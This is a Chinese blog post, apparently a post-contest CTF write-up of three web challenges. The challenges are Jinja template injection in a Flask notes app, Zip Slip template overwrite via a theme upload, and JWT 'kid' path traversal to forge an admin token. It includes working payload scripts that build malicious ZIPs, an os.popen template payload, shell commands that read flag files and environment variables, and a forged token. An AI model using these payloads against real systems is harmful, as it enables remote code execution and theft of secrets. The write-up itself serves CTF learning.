news 2026/8/3 7:18:04

ZeroG2026赛后复现(web)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ZeroG2026赛后复现(web)

Space Notes / 星际便签 (ZeroG2026)

ZeroG 空间站内部有一个轻量级便签系统,用来记录轨道修正、实验安排和临时消息。 工程师说这个系统只提供: 登录 写便签 预览便签 管理员面板 看起来只是一个普通 Flask 小应用。 但 Fen 留下了一句很奇怪的话: “如果模板会说话,那它也许会泄露秘密。” 请拿到管理员权限,读取动态 flag。

我们先进login

随便输一个名字

admin是访问不了的

看到有一个new note的功能

感觉有点像模板注入了

输入

{{7*7}}

输出49

输入

{{7*'7'}}

输出7777777

确定了jinja的模板注入

先测url_for

接下来的步骤其实就是有点像前两天写的模板注入题一样的思路,只不过这个可能没有过滤这么多东西,但是paylaod是通用的,但是有个弯子是我们再正常查找根目录下的东西时并没有看到文件

傻了,忘记排除环境变量了

最终flag:flag{53645d09-28b5-4fcd-8fe9-ffafebec19ee}

Zero Upload / 零重力主题包

ZeroG 空间站上线了一个照片墙系统,成员可以上传轨道照片,也可以上传自定义主题包来改变照片卡片样式。 开发人员声称: “主题包只是 ZIP,里面放一些 HTML 片段和资源文件,不会有危险。” Fen 看完源码后留下了一句话: “压缩包里的路径,也许不只通向解压目录。” 请利用主题包上传功能读取动态 flag。

看到题目给了zip的压缩包

在看这一句

“压缩包里的路径,也许不只通向解压目录。”

我们想到压缩包的路径穿越,但是这个知识点我不太清晰,再又寻找了一些别的信息特征未果后,确定了大概是这个知识点时,我去寻求了一些博客的帮助

所谓压缩包路径穿越,又称Zip Slip,重要的意思就是,我们都知道常规的压缩包路径正常解压到的都是基本统一的,但是如果系统的解压程序信任了压缩包内的文件名,没有判断写入的路径是否为安全路径时,就会可能造成恶意的覆盖路径。

一开始的默认路径是:www/var/html 文件的路径是:uploads/base/shell.php 这个时候拼接的是www/var/html/uploads/base/shell.php 但是如果说在这个环境下我们是可以通过root/base/shell.php这个路径去利用漏洞执行恶意代码的 那么如果我现在写文件的路径是../../../root/base/shell.php那么,最终就会把前面的路径覆盖,最终利用成功

先看环境内,发现有一个上传图片和上传压缩包的位置,结合目前掌握的信息,我们优先把目光放在上传压缩包的功能上。那么我们转头看一看给我们的源码上有没有信息

Orbit Gallery Home Upload Photo Upload Theme {% with messages = get_flashed_messages() %} {% if messages %} {% for msg in messages %} {{ msg }} {% endfor %} {% endif %} {% endwith %} {% for photo in photos %} {% include "theme/card.html" %} {% endfor %}

这一段可以发现系统会渲染theme/card.html这个路径,也就是说如果覆盖了这个路径就可以控制这个渲染的模板

再看看app.py中的

try: with zipfile.ZipFile(zip_path, "r") as zf: for member in zf.infolist(): # 故意的漏洞点:未校验 member.filename 是否包含 ../ target_path = extract_root / member.filename if member.is_dir(): target_path.mkdir(parents=True, exist_ok=True) continue target_path.parent.mkdir(parents=True, exist_ok=True) with zf.open(member, "r") as src, open(target_path, "wb") as dst: dst.write(src.read())

这个漏洞点他都给我们标好了。。。有前面的代码我们也能知道他的原始路径拼接好了是app/themes,所以我们现在就可以构造恶意zip的包了。对了,还没有说他的模板是jinja的模板,因为打开app.py里面第一句是

from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory, abort

而且

这些格式都是类似的表达式。

好了我们现在想着该怎么构造恶意zip包

文件名通过刚刚的分析可以定为

../../templates/theme/card.html

先来测试一下i刚刚的思路吧,我们先上传一个普通的模板注入表达式

import zipfile payload = r''' <div class="photo-card"> <h2>Zip Slip Test</h2> <p>If you see this, template overwrite succeeded.</p> <p>7 * 7 = {{ 7 * 7 }}</p> <p>Config flag = {{ config.get('ZEROG_FLAG') }}</p> </div> ''' with zipfile.ZipFile("test_theme.zip", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("../../templates/theme/card.html", payload) print("[+] created test_theme.zip")

发现现在是覆盖成功了

现在直接写模板,这个创建zip文件包的模板我自己写不出来,所以就请教了资料,然后积累下来。如果下次有相同类型的题目我们只要审他的源码找到他的原始模板存放路径然后略微修改一i就好了

import zipfile cmd = ( "cat /flag /flag.txt /app/flag /root/flag /home/ctf/flag 2>/dev/null; " "env 2>/dev/null | grep -iE 'flag|zerog|gzctf'; " "command -v readflag >/dev/null 2>&1 && readflag 2>/dev/null" ) payload = f''' <div class="photo-card"> <h2>Flag Leak</h2> <p>Config flag: {{{{ config.get('ZEROG_FLAG') }}}}</p> <pre> {{{{ cycler.__init__.__globals__.os.popen("env | sort").read() }}}} </pre> </div> ''' with zipfile.ZipFile("flag_theme.zip", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("../../templates/theme/card.html", payload) print("[+] created flag_theme.zip")

最终flag: flag{37fa8ffb-b94b-4300-b0d2-904f4d6f3b85}

Orbit API / 轨道接口 (ZeroG2026)

ZeroG 空间站提供了一个轻量级轨道数据 API。 普通成员登录后只能查看自己的身份信息; 管理员可以访问内部轨道控制接口并读取动态 flag。 开发人员说: “JWT 都签名了,应该很安全。” Fen 看完接口文档后留下了一句话: “信任 header 里的 kid,就像信任未经校验的轨道参数。” 请利用 Orbit API 获取管理员权限并读取 flag。

首先看页面,有一个note是/static/mission.txt,我们点进去看是空的

这道题目对代审的能力要求就明显提高了,我始终不能找到合理有效的利用链,所以我去借助了别的师傅的wp帮助。

重要的过程几乎都在app.py中,首先

def read_key_by_kid(kid: str) -> bytes: """ 漏洞点: 服务端直接信任 JWT header 中的 kid,并拼接到 KEY_DIR 后读取文件。 未过滤 ../,导致可路径穿越读取应用目录内其它文件作为 HS256 密钥。 """ key_path = KEY_DIR / kid if not key_path.exists() or not key_path.is_file(): raise FileNotFoundError("key not found") return key_path.read_bytes()
def verify_token(token: str) -> dict: try: header = jwt.get_unverified_header(token) except Exception: raise ValueError("invalid jwt header") kid = header.get("kid", DEFAULT_KID) key = read_key_by_kid(kid)

这个应该是赛后打包环境上去特地给的提示,比赛时应该是没有的。这一段好像又能理解了,意思是服务器相信客户端中传来的jwt中的kid值,然后通过KEY_DIR / kid拼接路径,并且没有过滤../也就是可以利用路径穿越漏洞,那么我们如果把header中的kid改成 ../static/mission.txt,那么拼接的

/app/keys/../static/mission.txt也就等于/app/static/mission.txt

话说到这,好的那我们现在要去弄个token的值验证一下,首先把开始页面上的东西都访问一遍

在访问/api/login的时候,我们看到给我们返回了一串登录的token值,我们解码一下

发现kid里面是user.key,现在我们尝试修改一下

在这里我们需要用到一个签名密钥,在wp中这个密钥是在/static/mission.txt里的,但是该环境可能对其进行过删除,所以没有,也没关系我们将那个空页面一整个复制粘贴过去,以防有什么隐藏字符

我们构造好伪造的token后就可以尝试去发送一个响应包

eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCIsICJraWQiOiAiLi4vc3RhdGljL21pc3Npb24udHh0In0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImlhdCI6IDE3ODU1Njk0MjIsICJleHAiOiAxNzg1NTc2NjIyfQ.p1McyY1WRSgT1E-oZcODAPnJFtRvuYgQbutVzppjhAU

看到我们现在的身份就是admin了,现在访问flag的那个端口试试

成功获取flag

最终flag:flag{548146cf-c9fd-4799-ba8c-32e48d26604d}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/3 7:16:22

业务逻辑漏洞:网络安全中的隐形威胁与防御策略

1. 为什么业务逻辑漏洞是网络安全中的"隐形杀手"&#xff1f;我第一次真正意识到业务逻辑漏洞的威力&#xff0c;是在一次企业内部的渗透测试中。按照常规思路&#xff0c;我扫描了所有端口、测试了SQL注入和XSS&#xff0c;结果一无所获。正当准备收工时&#xff0c…

作者头像 李华
网站建设 2026/8/3 7:13:38

地面辐射防护原理与电子设备抗辐射技术

1. 地面辐射防护的基本原理 当高能粒子从太空进入地球大气层时&#xff0c;会与大气分子发生一系列相互作用。这些宇宙射线主要由质子&#xff08;约85%&#xff09;、α粒子&#xff08;约12%&#xff09;和重离子&#xff08;约3%&#xff09;组成&#xff0c;能量范围从几Me…

作者头像 李华
网站建设 2026/8/3 7:12:19

Web前端周刊2026W31 | TypeScript 7.0、MobX 7.0、npm发布即扫毒

React圈TanStack停用RSC、MobX 7.0发布&#xff1b;JavaScript圈htmx 4.0、TypeScript 7.0发布&#xff1b;Node.js圈npm发布即扫毒、scriptc转原生编译器。 ⚛️ React TanStack 为何在自家网站停用 RSC TanStack.com 曾是被引用最多的 React Server Components&#xff08;…

作者头像 李华
网站建设 2026/8/3 7:10:06

Python WSGI规范PEP 3333详解与应用实践

1. 什么是PEP 3333&#xff1f;PEP 3333是Python社区中一个极其重要的技术规范文档&#xff0c;全称是"Python Enhancement Proposal 3333"。它定义了WSGI&#xff08;Web Server Gateway Interface&#xff09;1.0.1版本的标准&#xff0c;这是Python Web开发中最基…

作者头像 李华
网站建设 2026/8/3 7:06:08

Reactome通路基因集本地化:从GMT文件到MySQL数据库的完整方案

1. 项目概述&#xff1a;为什么需要批量下载Reactome通路基因集&#xff1f;如果你正在做生物信息学分析&#xff0c;特别是涉及到通路富集分析、基因功能注释或者多组学数据整合&#xff0c;那么Reactome这个数据库对你来说一定不陌生。它是一个高质量、手工注释的通路知识库&…

作者头像 李华
网站建设 2026/8/3 7:02:39

FGO-py终极指南:如何实现Fate/Grand Order全自动刷本与任务管理

FGO-py终极指南&#xff1a;如何实现Fate/Grand Order全自动刷本与任务管理 【免费下载链接】FGO-py 自动爬塔! 自动每周任务! 全自动免配置跨平台的Fate/Grand Order助手.启动脚本,上床睡觉,养肝护发,满加成圣诞了解一下? 项目地址: https://gitcode.com/GitHub_Trending/f…

作者头像 李华